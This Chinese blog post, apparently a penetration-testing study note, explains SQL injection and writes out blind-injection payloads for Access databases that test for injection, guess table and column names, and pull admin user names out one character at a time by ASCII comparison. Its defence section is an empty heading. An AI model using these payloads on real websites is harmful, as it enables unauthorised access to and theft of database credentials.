渗透测试第四章SQL注入----

SQL注入定义:

将用户输入的内容,拼接到SQL语句中,一起提交到数据库  产生SQL注入威胁。

$id= $_GET['id']

$id= $_POST['id']

 

access注入基本流程:

1.判断有无注入

2.猜解表名

3.猜解字段

4.猜解管理员ID

5.猜解用户名和密码长度

6.猜解用户名和密码

逐字猜解法

1、判断有无注入点and 1=1 and 1=2

2、猜表名(一般的表的名称无非是admin adminuseruser pass password ) and (Select count(*) from 表名)<>0 and exists (select * from 表名)

3、猜列名and (Select count(列名) from 表名)<>0 and exists (select 列名from 表名)逐字猜解法

4、判断内容长度and (select top 1 len(user_name) from admin)=5(user_name的长度=5,正常则=5,也可以用>,<去判断)

5、截取字符串并转换为ascii码进行数值比较,判断ascii码值:

and (select top 1 asc(mid(user_name,1,1)) from admin)=97 判断第一位97代表‘a’ascll值)

and (select top 1 asc(mid(user_name,2,1)) from admin)=97 判断第二位

 

 

数据库  默认的数据库

 

 

为什么要使用数据库?

 

静态网页 html 不需要服务器解析脚本 不依赖数据库

 

动态网页 asp、aspx、php、jsp等响应脚本引擎来解释

 

SQL注入危害:

窃取数据库敏感信息

对数据进行恶意的增删改

通过sleep等函数造成数据库阻塞 从而造成拒绝服务

 文件系统操作:列目录,读取  ,写入文件(一句话木马)

获取服务器权限  执行系统命令

 

 

 SQL注入防范

 

哪些地方容易存在注入漏洞

 

如何寻找漏洞?

使用工具, 

手工测试

 

常用漏洞扫描器:

 

posted @ 2020-04-20 20:44  Res0lve  阅读(156)  评论(0编辑  收藏  举报